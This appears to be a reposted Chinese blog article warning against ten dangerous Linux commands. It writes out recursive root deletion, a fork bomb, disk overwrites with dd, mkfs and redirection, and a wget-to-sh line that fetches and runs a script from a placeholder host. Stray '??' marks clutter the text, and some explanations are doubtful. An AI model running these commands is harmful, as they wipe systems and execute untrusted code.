《永远不要在 Linux 执行的 10 个最危险的命令》

亦余心之所善兮,虽九死其犹未悔。这篇文章主要讲述《永远不要在 Linux 执行的 10 个最危险的命令》相关的知识,希望能为你提供帮助。


永远不要在Linux执行的10个最危险的命令[J].计算机与网络,2013,39(23):28-29.

在运行 Linux 命令时,应该三思而后行,以下命令通常需要在 root 下才能运行。
rm -rf directory # 强制递归删除目录下的内容

??rm -rf /???:强制删除根目录下所有内容。
???rm -rf *???:强制删除当前目录的所有文件。
???rm -rf .??:强制删除当前文件及其子文件夹。
??.bashrc??? 文件对 ??rm??? 命令创建??rm -i??? 的别名,来预防用??rm??命令删除文件时的事故,要求你确认每一个删除请求。
:():|:& ; :

fork 炸弹实例。通过定义一个名为 ??:?? 的函数,它会调用自己两次,一次在前台,一次在后台,它会反复的执行下去直到系统崩溃。
command > /dev/sda

将某个命令的输出写到块设备??/dev/sda??中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
mv folder /dev/null

移动某个文件夹到 ??/dev/null???,在 linux 中,??/dev/null??? 或 ??null?? 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。数据恢复软件仍能够挽救。
wget http://malicious_source -O - | sh

上述命令会从一个恶意资源下载一个脚本并执行。
mkfs -t ext3 /dev/sda

上述命令会格式化块设备??sda??,对块设备或分区进行 mkfs 都是毁灭性的。
> file

清空文件内容,数据恢复软件未必能帮到你。
^foo^bar

把上一条命令中的 foo 替换为 bar?不解…
dd if=/dev/random of=/dev/sda

向块设备写入随机的垃圾文件而擦除数据,这个命令可以彻底删除数据。
隐藏命令

有些命令可能隐藏在十六进制中,千万不要编译运行来源不明的代码。
【《永远不要在 Linux 执行的 10 个最危险的命令》】


    推荐阅读